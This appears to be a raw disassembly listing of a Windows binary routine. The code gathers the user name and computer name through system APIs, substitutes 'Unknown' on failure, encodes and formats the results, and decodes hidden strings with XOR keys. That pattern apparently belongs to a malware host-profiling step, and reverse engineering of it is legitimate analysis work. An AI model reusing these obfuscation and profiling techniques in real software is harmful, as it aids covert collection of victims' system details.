mov edi, dword [esp + 0x748]
lea eax, [esp + 0x750]
lea ecx, [esp + 0x23c]
push 0xb4
push eax
push ecx
call sub.VCRUNTIME140.dll_memcpy
add esp, 0xc
lea ecx, [esp + 0x230]
mov dword [esp + 0x230], ebx
mov dword [esp + 0x238], esi
mov dword [esp + 0x234], edi
call fcn.004bf870
mov esi, edx
mov edx, dword [esp + 0x48]
mov edi, eax
lea eax, [esp + 0x970]
pxor xmm0, xmm0
mov dword [esp + 0x970], 0
mov dword [esp + 0x978], 0
mov dword [esp + 0x97c], 0
mov dword [esp + 0x980], 7
lea ecx, [esp + 0x4e0]
movq qword [esp + 0x98a], xmm0
movq qword [esp + 0x984], xmm0
mov byte [esp + 0x98d], 1
mov word [esp + 0x98f], 0x101
push eax
mov ebx, dword [esp + 0x10c]
push ebx
call fcn.004862a0
add esp, 8
cmp byte [esp + 0x4e0], 4
jne 0x40f21e
mov eax, dword [esp + 0x4e4]
jmp 0x40f235
setl al
test al, al
cmove ebx, esi
jmp 0x40f400
setl al
test al, al
cmovne ebx, esi
jmp 0x40f400
mov ecx, 0xfd508c
mov edx, 0xfd508c
call fcn.004e7900
mov edi, dword [0xfd5098]
test edi, edi
jns 0x40e613
jmp 0x414daa
lea eax, [0xf79d35]
mov dword [esp + 0x970], eax
lea eax, [esp + 0x970]
lea eax, [esp + 0x970]
mov ecx, dword [esp + 0x970]
mov dword [esp + 0x970], 0x93f6f7e9
mov edx, dword [esp + 0x970]
call fcn.00407b20
mov ecx, 0xf060ee1e
mov esi, 0x6c5cb2f9
mov edi, 0xba7e10f8
mov ebx, 0x7444b5c8
xor ecx, dword [eax]
mov dword [esp], ecx
mov ecx, 0x59c8412f
xor ecx, dword [eax + 4]
mov dword [esp + 0x10], ecx
mov ecx, 0xbd455276
xor esi, dword [eax + 8]
xor edi, dword [eax + 0xc]
xor ebx, dword [eax + 0x10]
xor ecx, dword [eax + 0x14]
movzx eax, byte [eax + 0x18]
mov edx, dword [esp]
mov dword [esp + 0x970], edx
mov edx, dword [esp + 0x10]
xor al, 0x93
mov dword [esp + 0x974], edx
mov dword [esp + 0x978], esi
mov dword [esp + 0x97c], edi
mov dword [esp + 0x980], ebx
mov dword [esp + 0x984], ecx
mov byte [esp + 0x988], al
lea ecx, [esp + 0x50]
lea edx, [esp + 0x970]
push 0x19
call fcn.00401b10
add esp, 4
lea ecx, [esp + 0x740]
call fcn.004049d0
mov ebx, dword [esp + 0x108]
movzx eax, byte [esp + 0x50]
cmp al, 4
je 0x412a65
cmp dword [esp + 0x2c], 0
mov ecx, dword [esp + 0x51]
mov edx, dword [esp + 0x54]
mov esi, dword [esp + 0x30]
mov dword [esi + 4], edx
mov dword [esi + 1], ecx
mov byte [esi], al
je 0x4127ab
push dword [esp + 0x48]
push 0
push dword [0xfd5200]
call dword [sym.imp.KERNEL32.dll_HeapFree]
cmp dword [esp + 0x1dc], 0
jne 0x4127b5
jmp 0x4127ca
mov ecx, 0xfd503c
mov edx, 0xfd503c
call fcn.004e7900
jmp 0x40e884
setl al
test al, al
cmovne esi, edi
jmp 0x40f3fe
setl al
test al, al
cmove esi, edi
jmp 0x40f3fe
mov ecx, dword [esp + 0x4e0]
mov eax, dword [esp + 0x4e4]
cmp cl, 4
jne 0x412a13
mov dword [esp + 0x90], eax
lea eax, [esp + 0x970]
mov dword [esp + 8], esi
mov dword [esp + 0x4e0], eax
mov dword [esp + 0x4e4], 0x2000
mov dword [esp + 0x4e8], 0
mov dword [esp + 0x4ec], 0
mov eax, dword [esi + 0x24]
mov dword [esp], eax
push 0
lea eax, [esp + 0x4e4]
push eax
push edi
jmp 0x40f2b9
lea eax, [esp + 0xcc]
push eax
call dword [esp + 0x10]
add esp, 0x10
movzx eax, byte [esp + 0xc0]
cmp al, 4
je 0x40f35b
movzx eax, al
mov esi, edi
mov eax, dword [eax*4 + 0x414dbc]
add eax, dword [esp + 0x28]
jmp eax
mov eax, dword [esp + 0x4e8]
test eax, eax
je 0x414aeb
lea ecx, [esp + 0xc0]
lea edx, [esp + 0x90]
push eax
push dword [esp + 0x4e4]
call fcn.004019e0
add esp, 8
cmp byte [esp + 0xc0], 4
mov esi, dword [esp + 8]
jne 0x414b3e
mov dword [esp + 0x4e8], 0
jmp 0x40f275
mov dword [esp + 0x50], eax
mov dword [esp + 0x54], ecx
push dword [esp + 0x90]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x412a2e
mov ecx, dword [esp + 0x38]
cmp ecx, dword [esp + 0x238]
jae 0x40ec76
jmp 0x40f3fe
mov eax, dword [esp + 0x38]
cmp eax, dword [esp + 0x978]
jae 0x40ed63
mov esi, edi
mov ebx, esi
mov edx, dword [esp + 0x10]
mov eax, 0x4ebe29
mov ecx, 0x4ebe24
mov dword [esp + 0x970], 0
test dl, dl
cmovne ecx, eax
movzx eax, dl
xor eax, 5
mov dword [esp + 0x464], ecx
mov dword [esp + 0x468], eax
lea eax, [esp + 0x970]
push eax
push 0
call dword [sym.imp.ADVAPI32.dll_GetUserNameW]
test eax, eax
jne 0x414daa
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x7a
mov dword [esp + 0x4c], ebx
jne 0x40f494
mov esi, dword [esp + 0x970]
test esi, esi
js 0x414daa
lea edx, [esi + esi]
cmp edx, 0x7fffffff
jae 0x414daa
test edx, edx
je 0x40f4b6
movzx eax, byte [0xfd520d]
xor ecx, ecx
call fcn.00494530
mov edi, eax
test eax, eax
jne 0x40f4bd
jmp 0x414daa
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov byte [esp + 0x188], 0
mov dword [esp + 0x18c], eax
mov dword [esp + 0x184], 0x80000000
jmp 0x40f50f
mov edi, 2
xor esi, esi
lea eax, [esp + 0x970]
mov dword [esp + 0x970], esi
push eax
push edi
call dword [sym.imp.ADVAPI32.dll_GetUserNameW]
test eax, eax
je 0x41033a
mov eax, dword [esp + 0x970]
xor ecx, ecx
mov edx, edi
sub eax, 1
cmovb eax, ecx
lea ecx, [esp + 0x184]
push eax
call fcn.00484c00
add esp, 4
test esi, esi
je 0x40f50f
push edi
push 0
push dword [0xfd5200]
call dword [sym.imp.KERNEL32.dll_HeapFree]
mov esi, dword [esp + 0x184]
mov eax, esi
neg eax
jno 0x410186
movzx eax, byte [esp + 0x188]
mov ecx, dword [esp + 0x18c]
mov byte [esp + 0x40], al
mov dword [esp + 0x3c], ecx
movzx eax, byte [0xfd520d]
xor ecx, ecx
mov edx, 7
xor ebx, ebx
call fcn.00494530
test eax, eax
je 0x414daa
mov edi, eax
xor esi, esi
mov dword [esp + 0x230], 7
mov dword [esp + 0x234], eax
mov dword [esp + 0x238], 0
mov dword [esp + 0x10], 0
jmp 0x40f5a2
mov edi, dword [esp + 0x234]
mov byte [edi + ebx], dl
inc ebx
mov dword [esp + 0x238], ebx
mov eax, dword [esp + 8]
cmp esi, 7
mov dword [esp + 0x10], eax
je 0x410111
movzx ecx, byte [esi + 0xfbbd2b]
lea eax, [esi + 0xfbbd2b]
test cl, cl
js 0x40f5d0
lea edx, [esi + 0xfbbd2c]
inc esi
mov dword [esp], esi
mov esi, dword [esp + 0x10]
sub esi, eax
add esi, edx
mov edx, ecx
mov dword [esp + 8], esi
jmp 0x40f677
mov dword [esp + 4], ebx
movzx ebx, byte [esi + 0xfbbd2c]
mov edx, ecx
mov dword [esp + 0xc], edi
and edx, 0x1f
and ebx, 0x3f
cmp cl, 0xdf
jbe 0x40f61c
movzx edi, byte [esi + 0xfbbd2d]
shl ebx, 6
and edi, 0x3f
or edi, ebx
cmp cl, 0xf0
jb 0x40f626
movzx ecx, byte [esi + 0xfbbd2e]
and edx, 7
shl edi, 6
add esi, 4
shl edx, 0x12
and ecx, 0x3f
or ecx, edi
or edx, ecx
jmp 0x40f62e
shl edx, 6
add esi, 2
or edx, ebx
jmp 0x40f62e
shl edx, 0xc
add esi, 3
or edx, edi
mov edi, dword [esp + 0x10]
mov ebx, dword [esp + 4]
mov dword [esp], esi
mov ecx, edi
sub ecx, eax
cmp edx, 0x3a3
lea eax, [ecx + esi + 0xfbbd2b]
mov dword [esp + 8], eax
jne 0x40f673
test edi, edi
je 0x40f942
cmp edi, 6
ja 0x40f939
cmp byte [edi + 0xfbbd2b], 0xbf
jg 0x40f942
jmp 0x414daa
mov edi, dword [esp + 0xc]
lea ecx, [esp + 0x970]
mov esi, ebx
call fcn.0041b5d0
mov edx, dword [esp + 0x974]
test edx, edx
je 0x40f730
mov eax, dword [esp + 0x978]
mov ebx, dword [esp + 0x970]
test eax, eax
mov dword [esp + 0x10], eax
je 0x40f76a
cmp ebx, 0x80
jae 0x40f7ea
cmp esi, dword [esp + 0x230]
jne 0x40f6da
lea ecx, [esp + 0x230]
mov edi, edx
call fcn.00433600
mov edx, edi
mov edi, dword [esp + 0x234]
mov byte [edi + esi], bl
mov ebx, esi
mov esi, dword [esp]
inc ebx
mov dword [esp + 0x238], ebx
cmp edx, 0x80
jb 0x40fc5d
mov eax, edx
cmp edx, 0x800
mov dword [esp + 0x4e0], 0
jae 0x40f88e
shr eax, 6
mov ecx, 2
or al, 0xc0
mov byte [esp + 0x4e0], al
lea eax, [esp + 0x4e1]
jmp 0x40fb15
mov ebx, dword [esp + 0x970]
cmp ebx, 0x80
jae 0x40f822
cmp esi, dword [esp + 0x230]
jne 0x40f758
lea ecx, [esp + 0x230]
call fcn.00433600
mov edi, dword [esp + 0x234]
mov byte [edi + esi], bl
mov ebx, esi
inc ebx
jmp 0x40fd31
cmp ebx, 0x80
jae 0x40f858
cmp esi, dword [esp + 0x230]
jne 0x40f78f
lea ecx, [esp + 0x230]
mov edi, edx
call fcn.00433600
mov edx, edi
mov edi, dword [esp + 0x234]
mov byte [edi + esi], bl
mov ebx, esi
mov esi, dword [esp]
inc ebx
mov dword [esp + 0x238], ebx
cmp edx, 0x80
jb 0x40fee2
mov ecx, edi
mov eax, edx
cmp edx, 0x800
mov dword [esp + 0x4e0], 0
jae 0x40fa6b
shr eax, 6
mov edi, 2
or al, 0xc0
mov byte [esp + 0x4e0], al
lea eax, [esp + 0x4e1]
jmp 0x40fe08
mov ecx, edi
mov eax, ebx
cmp ebx, 0x800
mov dword [esp + 0x4e0], 0
jae 0x40f8c7
shr eax, 6
mov edi, 2
or al, 0xc0
mov byte [esp + 0x4e0], al
lea eax, [esp + 0x4e1]
jmp 0x40fc0e
mov eax, ebx
cmp ebx, 0x800
mov dword [esp + 0x4e0], 0
jae 0x40f900
shr eax, 6
mov ecx, 2
or al, 0xc0
mov byte [esp + 0x4e0], al
lea eax, [esp + 0x4e1]
jmp 0x40fd89
mov eax, ebx
cmp ebx, 0x800
mov dword [esp + 0x4e0], 0
jae 0x40faa4
shr eax, 6
mov ecx, 2
or al, 0xc0
mov byte [esp + 0x4e0], al
lea eax, [esp + 0x4e1]
jmp 0x40fe85
cmp edx, 0x10000
jae 0x40fadd
shr eax, 0xc
mov ecx, 3
or al, 0xe0
mov byte [esp + 0x4e0], al
mov eax, edx
shr eax, 6
and al, 0x3f
or al, 0x80
mov byte [esp + 0x4e1], al
lea eax, [esp + 0x4e2]
jmp 0x40fb15
cmp ebx, 0x10000
jae 0x40fbd6
shr eax, 0xc
mov edi, 3
or al, 0xe0
mov byte [esp + 0x4e0], al
mov eax, ebx
shr eax, 6
and al, 0x3f
or al, 0x80
mov byte [esp + 0x4e1], al
lea eax, [esp + 0x4e2]
jmp 0x40fc0e
cmp ebx, 0x10000
jae 0x40fd51
shr eax, 0xc
mov ecx, 3
or al, 0xe0
mov byte [esp + 0x4e0], al
mov eax, ebx
shr eax, 6
and al, 0x3f
or al, 0x80
mov byte [esp + 0x4e1], al
lea eax, [esp + 0x4e2]
jmp 0x40fd89
cmp edi, 7
jne 0x414daa
lea edi, [edi + 0xfbbd2b]
xor eax, eax
jmp 0x40f95e
mov al, 1
cmp esi, 0x110000
jne 0x40f9fe
mov bl, 0xc3
cmp edi, 0xfbbd2b
je 0x40fa34
movsx esi, byte [edi - 1]
test esi, esi
js 0x40f980
dec edi
jmp 0x40f9d4
movzx ecx, byte [edi - 2]
cmp cl, 0xc0
jge 0x40f9ae
movzx edx, byte [edi - 3]
cmp dl, 0xc0
jge 0x40f9b6
mov dword [esp + 0xc], eax
movzx eax, byte [edi - 4]
and edx, 0x3f
add edi, 0xfffffffc
and eax, 7
shl eax, 6
or edx, eax
mov eax, dword [esp + 0xc]
jmp 0x40f9bc
add edi, 0xfffffffe
and ecx, 0x1f
jmp 0x40f9c4
add edi, 0xfffffffd
and edx, 0xf
shl edx, 6
and ecx, 0x3f
or ecx, edx
shl ecx, 6
and esi, 0x3f
or esi, ecx
cmp esi, 0x110000
je 0x40fa34
test al, 1
jne 0x40f950
mov ecx, esi
call fcn.0041b3c0
test al, al
je 0x40f950
mov esi, 0x110000
xor eax, eax
cmp esi, 0x110000
je 0x40f95e
mov ecx, esi
call fcn.0041b4d0
mov esi, dword [esp]
mov edi, dword [esp + 0x10]
test al, al
je 0x40fa37
add edi, 2
je 0x40ff0d
cmp edi, 6
ja 0x40ff04
cmp byte [edi + 0xfbbd2b], 0xbf
jg 0x40ff0d
jmp 0x414daa
mov esi, dword [esp]
mov eax, dword [esp + 0x230]
sub eax, dword [esp + 4]
cmp eax, 1
jbe 0x410017
mov edi, dword [esp + 0x234]
mov eax, dword [esp + 4]
and bl, 0x83
mov byte [edi + eax], 0xcf
mov byte [edi + eax + 1], bl
mov ebx, eax
add ebx, 2
jmp 0x40f58a
cmp edx, 0x10000
jae 0x40fdd0
shr eax, 0xc
mov edi, 3
or al, 0xe0
mov byte [esp + 0x4e0], al
mov eax, edx
shr eax, 6
and al, 0x3f
or al, 0x80
mov byte [esp + 0x4e1], al
lea eax, [esp + 0x4e2]
jmp 0x40fe08
cmp ebx, 0x10000
jae 0x40fe4d
shr eax, 0xc
mov ecx, 3
or al, 0xe0
mov byte [esp + 0x4e0], al
mov eax, ebx
shr eax, 6
and al, 0x3f
or al, 0x80
mov byte [esp + 0x4e1], al
lea eax, [esp + 0x4e2]
jmp 0x40fe85
shr eax, 0x12
mov ecx, 4
or al, 0xf0
mov byte [esp + 0x4e0], al
mov eax, edx
shr eax, 0xc
and al, 0x3f
or al, 0x80
mov byte [esp + 0x4e1], al
mov eax, edx
shr eax, 6
and al, 0x3f
or al, 0x80
mov byte [esp + 0x4e2], al
lea eax, [esp + 0x4e3]
and dl, 0x3f
or dl, 0x80
mov byte [eax], dl
mov edx, dword [esp + 0x230]
sub edx, ebx
cmp edx, ecx
jb 0x41003c
mov edi, dword [esp + 0x234]
mov dword [esp + 4], ecx
lea eax, [edi + ebx]
push ecx
lea ecx, [esp + 0x4e4]
push ecx
push eax
call sub.VCRUNTIME140.dll_memcpy
add esp, 0xc
add ebx, dword [esp + 4]
mov edx, dword [esp + 0x10]
mov dword [esp + 0x238], ebx
cmp edx, 0x80
jb 0x40fc98
mov ecx, edi
mov eax, edx
cmp edx, 0x800
mov dword [esp + 0x4e0], 0
jae 0x40fb9d
shr eax, 6
mov edi, 2
or al, 0xc0
mov byte [esp + 0x4e0], al
lea eax, [esp + 0x4e1]
jmp 0x40fcf2
cmp edx, 0x10000
jae 0x40fcba
shr eax, 0xc
mov edi, 3
or al, 0xe0
mov byte [esp + 0x4e0], al
mov eax, edx
shr eax, 6
and al, 0x3f
or al, 0x80
mov byte [esp + 0x4e1], al
lea eax, [esp + 0x4e2]
jmp 0x40fcf2
shr eax, 0x12
mov edi, 4
or al, 0xf0
mov byte [esp + 0x4e0], al
mov eax, ebx
shr eax, 0xc
and al, 0x3f
or al, 0x80
mov byte [esp + 0x4e1], al
mov eax, ebx
shr eax, 6
and al, 0x3f
or al, 0x80
mov byte [esp + 0x4e2], al
lea eax, [esp + 0x4e3]
mov dword [esp + 4], edx
mov edx, dword [esp + 0x230]
and bl, 0x3f
or bl, 0x80
mov byte [eax], bl
mov ebx, esi
sub edx, esi
cmp edx, edi
jb 0x41005e
mov esi, dword [esp]
add ecx, ebx
push edi
lea eax, [esp + 0x4e4]
push eax
push ecx
call sub.VCRUNTIME140.dll_memcpy
add esp, 0xc
mov edx, dword [esp + 4]
add ebx, edi
mov dword [esp + 0x238], ebx
cmp edx, 0x80
jae 0x40f6f6
cmp ebx, dword [esp + 0x230]
jne 0x40fc76
lea ecx, [esp + 0x230]
mov edi, edx
call fcn.00433600
mov edx, edi
mov edi, dword [esp + 0x234]
mov byte [edi + ebx], dl
inc ebx
mov edx, dword [esp + 0x10]
mov dword [esp + 0x238], ebx
cmp edx, 0x80
jae 0x40fb69
cmp ebx, dword [esp + 0x230]
jne 0x40f586
lea ecx, [esp + 0x230]
call fcn.00433600
mov edx, dword [esp + 0x10]
jmp 0x40f57f
shr eax, 0x12
mov edi, 4
or al, 0xf0
mov byte [esp + 0x4e0], al
mov eax, edx
shr eax, 0xc
and al, 0x3f
or al, 0x80
mov byte [esp + 0x4e1], al
mov eax, edx
shr eax, 6
and al, 0x3f
or al, 0x80
mov byte [esp + 0x4e2], al
lea eax, [esp + 0x4e3]
and dl, 0x3f
mov dword [esp + 4], edi
mov dword [esp], esi
or dl, 0x80
mov byte [eax], dl
mov edx, dword [esp + 0x230]
sub edx, ebx
cmp edx, edi
jb 0x410083
mov edi, dword [esp + 4]
mov esi, ecx
lea eax, [ecx + ebx]
push edi
lea ecx, [esp + 0x4e4]
push ecx
push eax
call sub.VCRUNTIME140.dll_memcpy
add esp, 0xc
add ebx, edi
mov edi, esi
mov esi, dword [esp]
mov dword [esp + 0x238], ebx
mov eax, dword [esp + 8]
cmp esi, 7
mov dword [esp + 0x10], eax
jne 0x40f5a2
jmp 0x410111
shr eax, 0x12
mov ecx, 4
or al, 0xf0
mov byte [esp + 0x4e0], al
mov eax, ebx
shr eax, 0xc
and al, 0x3f
or al, 0x80
mov byte [esp + 0x4e1], al
mov eax, ebx
shr eax, 6
and al, 0x3f
or al, 0x80
mov byte [esp + 0x4e2], al
lea eax, [esp + 0x4e3]
mov edx, dword [esp + 0x230]
and bl, 0x3f
or bl, 0x80
mov byte [eax], bl
mov ebx, esi
sub edx, esi
cmp edx, ecx
jb 0x4100a8
mov edi, dword [esp + 0x234]
mov esi, dword [esp]
mov dword [esp + 0x10], ecx
lea eax, [edi + ebx]
push ecx
lea ecx, [esp + 0x4e4]
push ecx
push eax
call sub.VCRUNTIME140.dll_memcpy
add esp, 0xc
add ebx, dword [esp + 0x10]
jmp 0x40f58a
shr eax, 0x12
mov edi, 4
or al, 0xf0
mov byte [esp + 0x4e0], al
mov eax, edx
shr eax, 0xc
and al, 0x3f
or al, 0x80
mov byte [esp + 0x4e1], al
mov eax, edx
shr eax, 6
and al, 0x3f
or al, 0x80
mov byte [esp + 0x4e2], al
lea eax, [esp + 0x4e3]
and dl, 0x3f
mov dword [esp + 0x10], edi
or dl, 0x80
mov byte [eax], dl
mov edx, dword [esp + 0x230]
sub edx, ebx
cmp edx, edi
jb 0x4100ca
mov edi, dword [esp + 0x10]
mov dword [esp + 0xc], ecx
lea eax, [ecx + ebx]
push edi
lea ecx, [esp + 0x4e4]
push ecx
push eax
call sub.VCRUNTIME140.dll_memcpy
add esp, 0xc
add ebx, edi
mov edi, dword [esp + 0xc]
jmp 0x40f58a
shr eax, 0x12
mov ecx, 4
or al, 0xf0
mov byte [esp + 0x4e0], al
mov eax, ebx
shr eax, 0xc
and al, 0x3f
or al, 0x80
mov byte [esp + 0x4e1], al
mov eax, ebx
shr eax, 6
and al, 0x3f
or al, 0x80
mov byte [esp + 0x4e2], al
lea eax, [esp + 0x4e3]
mov dword [esp + 4], edx
mov edx, dword [esp + 0x230]
and bl, 0x3f
or bl, 0x80
mov byte [eax], bl
mov ebx, esi
sub edx, esi
cmp edx, ecx
jb 0x4100ef
mov edi, dword [esp + 0x234]
mov esi, dword [esp]
mov dword [esp + 0x10], ecx
lea eax, [edi + ebx]
push ecx
lea ecx, [esp + 0x4e4]
push ecx
push eax
call sub.VCRUNTIME140.dll_memcpy
add esp, 0xc
add ebx, dword [esp + 0x10]
mov edx, dword [esp + 4]
mov dword [esp + 0x238], ebx
cmp edx, 0x80
jae 0x40f7b2
cmp ebx, dword [esp + 0x230]
jne 0x40f586
lea ecx, [esp + 0x230]
mov edi, edx
call fcn.00433600
mov edx, edi
jmp 0x40f57f
cmp edi, 7
jne 0x414daa
xor eax, eax
jmp 0x40ff2e
mov al, 1
cmp edx, 0x110000
jne 0x410006
mov bl, 0xc2
cmp edi, 7
je 0x40fa37
movzx edx, byte [edi + 0xfbbd2b]
test dl, dl
js 0x40ff50
inc edi
test al, 1
jne 0x40ff20
jmp 0x40ffe0
movzx esi, byte [edi + 0xfbbd2c]
mov ecx, edx
and ecx, 0x1f
and esi, 0x3f
cmp dl, 0xdf
jbe 0x40ffb3
mov dword [esp + 0x10], edx
movzx edx, byte [edi + 0xfbbd2d]
shl esi, 6
and edx, 0x3f
or edx, esi
cmp byte [esp + 0x10], 0xf0
jb 0x40ffc9
movzx esi, byte [edi + 0xfbbd2e]
shl edx, 6
and ecx, 7
shl ecx, 0x12
and esi, 0x3f
or esi, edx
mov edx, esi
mov esi, dword [esp]
or edx, ecx
cmp edx, 0x110000
je 0x40fa37
add edi, 4
test al, 1
jne 0x40ff20
jmp 0x40ffe0
shl ecx, 6
add edi, 2
or ecx, esi
mov esi, dword [esp]
mov edx, ecx
test al, 1
je 0x40ffe0
jmp 0x40ff20
mov esi, dword [esp]
shl ecx, 0xc
add edi, 3
or edx, ecx
test al, 1
jne 0x40ff20
nop dword [eax]
mov ecx, edx
mov ebx, edx
call fcn.0041b3c0
mov edx, ebx
test al, al
je 0x40ff20
mov edx, 0x110000
xor eax, eax
cmp edx, 0x110000
je 0x40ff2e
mov ecx, edx
call fcn.0041b4d0
mov ebx, eax
or bl, 0xc2
jmp 0x40fa37
mov edx, dword [esp + 4]
lea ecx, [esp + 0x230]
push 2
call fcn.004e8cd0
add esp, 4
mov eax, dword [esp + 0x238]
mov dword [esp + 4], eax
jmp 0x40fa4b
mov edi, ecx
lea ecx, [esp + 0x230]
mov edx, ebx
push edi
call fcn.004e8cd0
mov ecx, edi
add esp, 4
mov ebx, dword [esp + 0x238]
jmp 0x40fb2e
lea ecx, [esp + 0x230]
mov edx, ebx
push edi
call fcn.004e8cd0
add esp, 4
mov ecx, dword [esp + 0x234]
mov ebx, dword [esp + 0x238]
jmp 0x40fc2d
lea ecx, [esp + 0x230]
mov edx, ebx
push edi
call fcn.004e8cd0
add esp, 4
mov ecx, dword [esp + 0x234]
mov ebx, dword [esp + 0x238]
jmp 0x40fd12
mov esi, ecx
lea ecx, [esp + 0x230]
mov edx, ebx
push esi
call fcn.004e8cd0
mov ecx, esi
add esp, 4
mov ebx, dword [esp + 0x238]
jmp 0x40fda4
lea ecx, [esp + 0x230]
mov edx, ebx
push edi
call fcn.004e8cd0
add esp, 4
mov ecx, dword [esp + 0x234]
mov ebx, dword [esp + 0x238]
jmp 0x40fe25
mov esi, ecx
lea ecx, [esp + 0x230]
mov edx, ebx
push esi
call fcn.004e8cd0
mov ecx, esi
add esp, 4
mov ebx, dword [esp + 0x238]
jmp 0x40fea4
mov eax, dword [esp + 0x238]
movq xmm0, qword [esp + 0x230]
cmp byte [esp + 0x40], 3
mov dword [esp + 0x1c0], eax
movq qword [esp + 0x1b8], xmm0
jb 0x41022a
mov eax, dword [esp + 0x3c]
mov edi, dword [eax + 4]
mov esi, dword [eax]
mov eax, dword [edi]
test eax, eax
je 0x410151
push esi
call eax
add esp, 4
cmp dword [edi + 4], 0
je 0x41016f
cmp dword [edi + 8], 9
jb 0x410160
mov esi, dword [esi - 4]
push esi
push 0
push dword [0xfd5200]
call dword [sym.imp.KERNEL32.dll_HeapFree]
push dword [esp + 0x3c]
push 0
push dword [0xfd5200]
call dword [sym.imp.KERNEL32.dll_HeapFree]
jmp 0x41022a
cmp byte [esp + 0x190], 0
jne 0x410207
mov eax, dword [esp + 0x18c]
test eax, eax
je 0x410207
mov edi, dword [esp + 0x188]
add eax, edi
mov edx, edi
jmp 0x4101b6
add edx, 2
cmp ecx, eax
cmovne ecx, edx
cmp ecx, eax
mov edx, ecx
je 0x410207
movzx ebx, byte [edx]
lea ecx, [edx + 1]
test bl, bl
jns 0x4101b0
cmp bl, 0xe0
jb 0x4101a8
cmp bl, 0xed
jne 0x4101e6
cmp ecx, eax
je 0x410207
lea ecx, [edx + 2]
cmp ecx, eax
je 0x410207
cmp byte [edx + 1], 0x9f
ja 0x414a1d
add edx, 3
mov ecx, edx
jmp 0x4101b0
add edx, 2
cmp ecx, eax
cmove edx, ecx
xor ecx, ecx
cmp edx, eax
setne cl
add ecx, edx
cmp bl, 0xf0
jb 0x4101b0
xor edx, edx
cmp ecx, eax
setne dl
add ecx, edx
jmp 0x4101b0
mov eax, dword [esp + 0x188]
mov ecx, dword [esp + 0x18c]
mov dword [esp + 0x1b8], esi
mov dword [esp + 0x1c0], ecx
mov dword [esp + 0x1bc], eax
lea eax, [esp + 0xc0]
mov dword [esp + 0xc0], 0
push eax
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetComputerNameExW]
test eax, eax
jne 0x414daa
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xea
jne 0x41029f
mov esi, dword [esp + 0xc0]
test esi, esi
js 0x414daa
lea edx, [esi + esi]
cmp edx, 0x7fffffff
jae 0x414daa
test edx, edx
je 0x410367
movzx eax, byte [0xfd520d]
xor ecx, ecx
call fcn.00494530
mov ebx, eax
test eax, eax
jne 0x41036e
jmp 0x414daa
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov edi, eax
xor ebx, ebx
movzx eax, byte [0xfd520d]
xor ecx, ecx
mov edx, 7
call fcn.00494530
test eax, eax
je 0x414daa
cmp bl, 3
mov dword [eax + 3], 0x6e776f6e
mov dword [eax], 0x6e6b6e55
mov dword [esp + 0x194], 7
mov dword [esp + 0x198], eax
mov dword [esp + 0x19c], 7
jb 0x410484
mov ebx, dword [edi + 4]
mov esi, dword [edi]
mov eax, dword [ebx]
test eax, eax
je 0x410308
push esi
call eax
add esp, 4
cmp dword [ebx + 4], 0
je 0x410326
cmp dword [ebx + 8], 9
jb 0x410317
mov esi, dword [esi - 4]
push esi
push 0
push dword [0xfd5200]
call dword [sym.imp.KERNEL32.dll_HeapFree]
push edi
push 0
push dword [0xfd5200]
call dword [sym.imp.KERNEL32.dll_HeapFree]
jmp 0x410484
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov byte [esp + 0x188], 0
mov dword [esp + 0x18c], eax
mov dword [esp + 0x184], 0x80000000
test esi, esi
jne 0x40f500
jmp 0x40f50f
mov ebx, 2
xor esi, esi
lea eax, [esp + 0x4e0]
mov dword [esp + 0x4e0], esi
push eax
push ebx
push 0
call dword [sym.imp.KERNEL32.dll_GetComputerNameExW]
test eax, eax
je 0x410f2b
lea ecx, [esp + 0x970]
mov dword [esp], ebx
mov edx, ebx
push dword [esp + 0x4e0]
call fcn.00484c00
add esp, 4
cmp byte [esp + 0x97c], 0
jne 0x410437
mov eax, dword [esp + 0x978]
test eax, eax
je 0x410437
mov edx, dword [esp + 0x974]
add eax, edx
mov dword [esp + 0x10], edx
jmp 0x4103e6
add edx, 2
cmp ecx, eax
cmovne ecx, edx
nop dword [eax]
cmp ecx, eax
mov edx, ecx
je 0x410437
movzx ebx, byte [edx]
lea ecx, [edx + 1]
test bl, bl
jns 0x4103e0
cmp bl, 0xe0
jb 0x4103d1
cmp bl, 0xed
jne 0x410416
cmp ecx, eax
je 0x410437
lea ecx, [edx + 2]
cmp ecx, eax
je 0x410437
cmp byte [edx + 1], 0x9f
ja 0x414a58
add edx, 3
mov ecx, edx
jmp 0x4103e0
add edx, 2
cmp ecx, eax
cmove edx, ecx
xor ecx, ecx
cmp edx, eax
setne cl
add ecx, edx
cmp bl, 0xf0
jb 0x4103e0
xor edx, edx
cmp ecx, eax
setne dl
add ecx, edx
jmp 0x4103e0
mov ecx, dword [esp + 0x970]
mov ebx, dword [esp + 0x974]
mov edi, dword [esp + 0x978]
test esi, esi
je 0x410465
push dword [esp]
push 0
push dword [0xfd5200]
mov esi, ecx
call dword [sym.imp.KERNEL32.dll_HeapFree]
mov ecx, esi
mov eax, ecx
neg eax
jo 0x4102a9
mov dword [esp + 0x194], ecx
mov dword [esp + 0x198], ebx
mov dword [esp + 0x19c], edi
lea eax, [esp + 0x194]
lea edx, [esp + 0x1b8]
lea ecx, [esp + 0x230]
mov dword [esp + 0x970], 0x4ebe30
mov dword [esp + 0x974], 2
mov dword [esp + 0x980], 0
mov dword [esp + 0x978], ecx
mov dword [esp + 0x230], eax
mov dword [esp + 0x234], 0x407160
mov dword [esp + 0x238], edx
lea ecx, [esp + 0x734]
lea edx, [esp + 0x970]
mov dword [esp + 0x23c], 0x407160
mov dword [esp + 0x97c], 2
call fcn.00415500
mov eax, dword [esp + 0x73c]
movq xmm0, qword [esp + 0x734]
mov dword [esp + 0x1f0], eax
lea eax, [0xf6f626]
movq qword [esp + 0x1e8], xmm0
mov dword [esp + 0x970], eax
lea eax, [esp + 0x970]
lea eax, [esp + 0x970]
mov ecx, dword [esp + 0x970]
mov dword [esp + 0x970], 0x8d430701
mov edx, dword [esp + 0x970]
call fcn.00407a00
mov ecx, 0x978f4e9e
mov edx, 0xb5ca87b0
mov esi, 0x42a250ee
mov edi, 0x1f4d0291
mov ebx, 0x5cf0dede
xor ecx, dword [eax]
xor edx, dword [eax + 4]
xor esi, dword [eax + 8]
xor edi, dword [eax + 0xc]
xor ebx, dword [eax + 0x10]
movzx eax, byte [eax + 0x14]
mov dword [esp + 0x50], ecx
mov dword [esp + 0x54], edx
